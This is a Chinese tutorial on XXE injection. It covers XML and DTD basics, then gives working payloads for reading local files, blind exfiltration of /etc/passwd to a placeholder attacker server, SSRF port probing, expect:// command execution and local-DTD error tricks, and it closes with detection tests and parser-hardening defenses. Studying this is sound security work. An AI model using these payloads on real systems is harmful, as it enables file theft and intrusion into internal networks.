0x01 基础知识
一、XML
XML教程
1、什么是 XML?
2、XML 与 HTML 的主要差异
XML 不是 HTML 的替代。
XML 和 HTML 为不同的目的而设计:
XML 被设计为传输和存储数据,其焦点是数据的内容。
HTML 被设计用来显示数据,其焦点是数据的外观。
HTML 旨在显示信息,而 XML 旨在传输信息。
3、XML语法规则
所有 XML 元素都须有关闭标签
XML 标签对大小写敏感
XML 必须正确地嵌套
XML 文档必须有根元素
XML 的属性值须加引号
XML 中的注释与HTML类似
在 XML 中,空格会被保留
XML 以 LF 存储换行
4、XML示例:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20
| <bookstore> <book category="COOKING"> <title lang="en">Everyday Italian</title> <author>Giada De Laurentiis</author> <year>2005</year> <price>30.00</price> </book> <book category="CHILDREN"> <title lang="en">Harry Potter</title> <author>J K. Rowling</author> <year>2005</year> <price>29.99</price> </book> <book category="WEB"> <title lang="en">Learning XML</title> <author>Erik T. Ray</author> <year>2003</year> <price>39.95</price> </book> </bookstore>
|
XML 文档中的元素形成了一棵文档树。这棵树从根部开始,并扩展到树的最底端,上述实例可以用下图表示:
5、XML实体引用
在 XML 中,一些字符拥有特殊的意义。如果把字符 <
放在 XML 元素中,会发生错误,这是因为解析器会把它当作新元素的开始。
这样会产生 XML 错误:
1
| <message>if salary < 1000 then</message>
|
为了避免这个错误,用实体引用来代替 <
字符:
1
| <message>if salary < 1000 then</message>
|
在 XML 中,有 5 个预定义的实体引用:
二、DTD
DTD教程
1、什么是DTD?
DTD(文档类型定义)的作用是定义 XML 文档的合法构建模块。它使用一系列的合法元素来定义文档结构。
通过 DTD,您的每一个 XML 文件均可携带一个有关其自身格式的描述。
通过 DTD,独立的团体可一致地使用某个标准的 DTD 来交换数据。
DTD 可被成行地声明于 XML 文档中,也可作为一个外部引用。
2、内部的 DOCTYPE 声明
假如 DTD 被包含在您的 XML 源文件中,它应当通过下面的语法包装在一个 DOCTYPE 声明中:
带有 DTD 的 XML 文档实例:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| <?xml version="1.0" encoding="ISO-8859-1"?> <!DOCTYPE note[ <!ELEMENT note (to,from,heading,body)>//定义 note 元素有四个元素:"to、from、heading,、body" <!ELEMENT to (#PCDATA)>定义 to 元素为 "#PCDATA" 类型 <!ELEMENT from (#PCDATA)>定义 from 元素为 "#PCDATA" 类型 <!ELEMENT heading (#PCDATA)> <!ELEMENT body (#PCDATA)> ]>
<note> <to>Georage</to> <from>John</from> <heading>Reminder</heading> <body>Don't forget the meeting!</body> </note>
|
3、外部文档声明
假如 DTD 位于 XML 源文件的外部,那么它应通过下面的语法被封装在一个 DOCTYPE 定义中:
1
| <!DOCTYPE 根元素 SYSTEM "文件名">
|
这个 XML 文档和上面的 XML 文档相同,但是拥有一个外部的 DTD:
1 2 3 4 5 6 7 8
| <?xml version="1.0"?> <!DOCTYPE note SYSTEM "note.dtd"> <note> <to>Tove</to> <from>Jani</from> <heading>Reminder</heading> <body>Don't forget me this weekend!</body> </note>
|
这是包含 DTD 的 “note.dtd” 文件:
1 2 3 4 5
| <!ELEMENT note (to,from,heading,body)> <!ELEMENT to (#PCDATA)> <!ELEMENT from (#PCDATA)> <!ELEMENT heading (#PCDATA)> <!ELEMENT body (#PCDATA)>
|
4、DTD实体
DTD实体是用于定义引用普通文本或特殊字符的快捷方式的变量,可以内部声明或外部引用。
实体又分为一般实体和参数实体:
(1)一般实体的声明语法:
引用实体的方式:&实体名;
a. 内部一般实体声明:
语法:
1
| <!ENTITY entity-name "entity-value">
|
实例:
1 2 3 4 5 6
| <?xml version="1.0" encoding="ISO-8859-1"?> <!DOCTYPE author[ <!ENTITY writer "Donald Duck."> <!ENTITY copyright "Copyright runoob.com"> ]> <author>&writer;©right;</author>
|
b. 外部一般实体声明
语法:
1
| <!ENTITY entity-name SYSTEM "URI/URL">
|
实例:
1 2 3 4 5 6
| <?xml version="1.0" encoding="ISO-8859-1"?> <!DOCTYPE author[ <!ENTITY writer SYSTEM "http://www.runoob.com/entities.dtd"> <!ENTITY copyright SYSTEM "http://www.runoob.com/entities.dtd"> ]> <author>&writer;©right;</author>
|
(2)参数实体的声明格式:
引用实体的方式:%实体名;
a. 内部参数实体
参数实体不能被应用在元素的声明当中,不能使用参数实体来定义元素,只有在外部DTD中参数实体才能被应用到元素的声明当中。
test.xml
1 2 3 4 5 6 7 8 9
| <?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE person SYSTEM "test323.dtd"> <person> <name>Jason</name> <addr>Shanghai</addr> <tel>18701772821</tel> <br/> <email>18701772821@163.com</email> </person>
|
test.dtd
1 2 3 4 5 6 7
| <?xml version="1.0" encoding="UTF-8"?> <!ELEMENT person (name,addr,tel,br,email)> <!ENTITY %name "(#PCDATA)"> <!ELEMENT addr %name;> <!ELEMENT tel %name;> <!ELEMENT br EMPTY> <!ELEMENT email %name;>
|
参数实体必须先定义再使用,而不能像一般实体那样随意放置。
b. 外部参数实体
能将原来很长的DTD文档转变成一个很小的、相互调用的文档集合,适合大型DTD文档的设计开发。
test.xml
1 2 3 4 5 6 7 8 9 10 11 12 13
| <?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE person [ <!ELEMENT person (name,addr,tel,br,email)> <!ENTITY % (注意这里有个空格)content SYSTEM "test323.dtd"> %content; ]> <person> <name>Jason</name> <addr>Shanghai</addr> <tel>18701772821</tel> <br/> <email>18701772821@163.com</email> </person>
|
test.dtd
1 2 3 4 5 6
| <?xml version="1.0" encoding="UTF-8"?> <!ELEMENT name (#PCDATA)> <!ELEMENT addr (#PCDATA)> <!ELEMENT tel (#PCDATA)> <!ELEMENT br EMPTY> <!ELEMENT email (#PCDATA)>
|
0x02 漏洞原因
解析xml文件时允许加载外部实体,没有过滤用户提交的参数。
造成的危害有:
读取任意文件
执行系统命令
探查内网端口
攻击内网网站
0x03 漏洞利用
关于XXE更多利用方式可参考: https://xz.aliyun.com/t/3357
一、读取本地文件(有回显)
(1)利用xml外部实体
如index.php内容如下:
1 2 3 4
| <?php $xml=simplexml_load_string($_GET['xml']); print_r((string)$xml); ?>
|
利用payload为:
1 2 3 4 5
| <?xml version="1.0" encoding="utf-8"?> <!DOCTYPE root [ <!ENTITY file SYSTEM "file:///E:/test.txt"> ]> <root><note>&file;</note></root>
|
将上面的payload进行url编码后既可以读到本地文件。
(2)xml引用外部实体(引用DTD文件)
还是上面的例子,payload如下:
1 2 3
| <?xml version="1.0" encoding="utf-8"?> <!DOCTYPE note [<!ENTITY % a SYSTEM "http://your_vps/test.dtd"> %a;]> <note>&file;</note>
|
在你的服务器上创建dtd文件如下:
1
| <!ENTITY file SYSTEM "file:///E:/test.txt">
|
(3)base64读取php/html等文件
如果要读取php文件,因为php、html等文件中有各种括号<,>,若直接用file读取会导致解析错误,此时可以利用php://filter将内容转换为base64后再读取。
payload如下:
1 2 3
| <?xml version="1.0" encodeing="UTF-8"?> <!DOCTYPE root [<!ENTITY file SYSTEM "php://filter/convert.base64-encode/resource=index.php">]> <root>&file;</root>
|
二、Blind XXE(无回显)
对于无回显的xml注入,则使用如下Blind XXE方法,即使用嵌套形式,利用外部实体中的URL发出访问,从而跟攻击者的服务器发生联系。
可以在你的vps上放xxe.dtd文件如下(send前面的是%
的实体编码%
):
1 2
| <!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///etc/passwd"> <!ENTITY % all "<!ENTITY % send SYSTEM 'http://your_vps:1234?file=%file;'>">
|
使用的payload如下:
1 2 3 4 5 6 7
| <?xml version="1.0"?> <!DOCTYPE ANY [ <!ENTITY % remote SYSTEM "http://your_vps/xxe.dtd"> %remote; %all; %send; ]>
|
然后监听1234端口并提交payload:
三、SSRF/内网探测
由于xml实体注入攻击可以利用http://
协议,也就是可以发起http请求。可以利用该请求去探查内网,进行SSRF攻击。
(1)探测内网端口
1 2 3 4 5 6 7 8
| <?xml version="1.0" encoding="utf-8"> <!DOCTYPE root [ <!ELEMENT name ANY> <!ENTITY xxe SYSTEM "http://127.0.0.1:80"> ]> <root> <name>&xxe;</name> </root>
|
(2)攻击内网网站
1 2 3 4 5 6 7 8
| <?xml version="1.0" encoding="utf-8"?> <!DOCTYPE root [ <!ELEMENT name ANY > <!ENTITY xxe SYSTEM "http://127.0.0.1:80/payload" > ]> <root> <name>&xxe;</name> </root>
|
四、命令执行
在安装expect扩展的PHP环境里执行系统命令,其他协议也有可能可以执行系统命令
payload:
1 2 3 4 5 6 7
| <?xml version="1.0" encoding="utf-8"?> <!DOCTYPE root [ <!ELEMENT name ANY > <!ENTITY xxe SYSTEM "expect://id" >]> <root> <name>&xxe;</name> </root>
|
五、利用本地dtd文件报错回显
当你有一个支持外部实体的XXE,但服务器的响应始终为空,这样情况就需要Blind XXE,但是如果你和目标服务器之间有防火墙,一般的利用vps外带数据的方法就不能用了。
首先要知道,外部DTD允许我们在第二个实体中包含一个实体,但它在内部DTD中是被禁止的。
所以要想在内部DTD子集中使用外部DTD语法,你可以在目标主机上强制执行本地dtd文件,并在其中重新定义一些参数实体引用:
Payload:
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| <?xml version="1.0" ?> <!DOCTYPE message [ <!ENTITY % local_dtd SYSTEM "file:///opt/IBM/WebSphere/AppServer/properties/sip-app_1_0.dtd">
<!ENTITY % condition 'aaa)> <!ENTITY % file SYSTEM "file:///etc/passwd"> <!ENTITY % eval "<!ENTITY &#x25; error SYSTEM 'file:///nonexistent/%file;'>"> %eval; %error; <!ELEMENT aa (bb'>
%local_dtd; ]> <message>any text</message>
|
sip-app_1_0.dtd 中的内容
1 2
| <!ENTITY % condition "and | or | not | equal | contains | exists | subdomain-of"> <!ELEMENT pattern (%condition;)>
|
它起作用是因为所有XML实体都是常量,如果定义两个具有相同名称的实体则仅使用第一个实体。
Linux
1 2 3
| <!ENTITY % local_dtd SYSTEM "file:///usr/share/yelp/dtd/docbookx.dtd"> <!ENTITY % ISOamsa 'Your DTD code'> %local_dtd;
|
Windows
1 2 3
| <!ENTITY % local_dtd SYSTEM "file:///C:\Windows\System32\wbem\xml\cim20.dtd"> <!ENTITY % SuperClass '>Your DTD code<!ENTITY test "test"'> %local_dtd;
|
0x04 判断XXE漏洞
一、XML是否被解析
尝试提交测试payload:
1 2 3 4 5
| <?xml version=”1.0” encoding=”UTF-8”?> <!DOCTYPE ANY [ <!ENTITY xxe 'hava a xxe'> ]> <root>&xxe;</root>
|
看&xxe;
是否会变成hava a xxe
二、是否支持外部实体
测试payload:
1 2 3 4 5
| <?xml version=”1.0” encoding=”UTF-8”?> <!DOCTYPE ANY [ <!ENTITY % xxe SYSTEM “http://your_vps/test.xml”> %xxe; ]>
|
通过查看自己服务器上的日志来,如果目标服务器是否向你的服务器发了一条请求test.xml的HTTP请求,则说明目标服务器支持外部实体。
三、是否能够回显
如果上面两步都支持,就看是否回显。
0x05 防御XXE
一、禁用外部实体
(1)PHP
1
| libxml_disable_entity_loader(true);
|
(2)Python
1 2
| from lxml import etree xmlData = etree.parse(xmlSource,etree.XMLParser(resolve_entities=False))
|
(3)Java
1 2
| DocumentBuilderFactory dbf =DocumentBuilderFactory.newInstance(); dbf.setExpandEntityReferences(false);
|
二、过滤用户提交的XML数据
过滤关键词:<!DOCTYPE和<!ENTITY
或者SYSTEM和PUBLIC
等。
参考链接:
https://www.smi1e.top/dsada/#XML
https://skysec.top/2017/08/18/xml%E6%B3%A8%E5%85%A5%E6%94%BB%E5%87%BB%E5%AD%A6%E4%B9%A0/